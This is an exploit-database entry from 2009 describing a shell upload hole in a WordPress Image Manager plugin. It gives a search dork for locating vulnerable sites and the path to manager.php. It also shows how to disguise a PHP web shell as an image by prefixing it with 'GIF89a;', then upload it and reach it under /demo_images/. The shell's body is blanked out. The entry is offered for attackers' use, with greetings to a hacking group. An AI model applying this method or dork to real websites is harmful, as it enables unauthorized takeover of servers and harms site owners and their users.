Wordpress Image Manager Plugins Shell Upload Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Wordpress Image Manager Plugins Shell Upload Vulnerability
# Published : 2009-12-05
# Author : DigitALL
# Previous Title : PhpShop 0.8.1 Multiple Vulnerabilities
# Next Title : GeN3 forum V1.3 SQL Injection Vulnerability

# Exploit Title: Wordpress Image Manager Plugins Shell Upload Vulnerability

# Version: No Version All WordPress Systems

# Thanks ; Zombie KroNickq and All 1923Turk.biz Members
# Special Thanks ; Cyb3rking

Dork: inurl:"/plugins/ImageManager/manager.php"

/plugins/ImageManager/manager.php

Your Shell Top

GIF89a;
<?
-----
?>

And Upload Your Shell. Your Shell Go To /demo_images/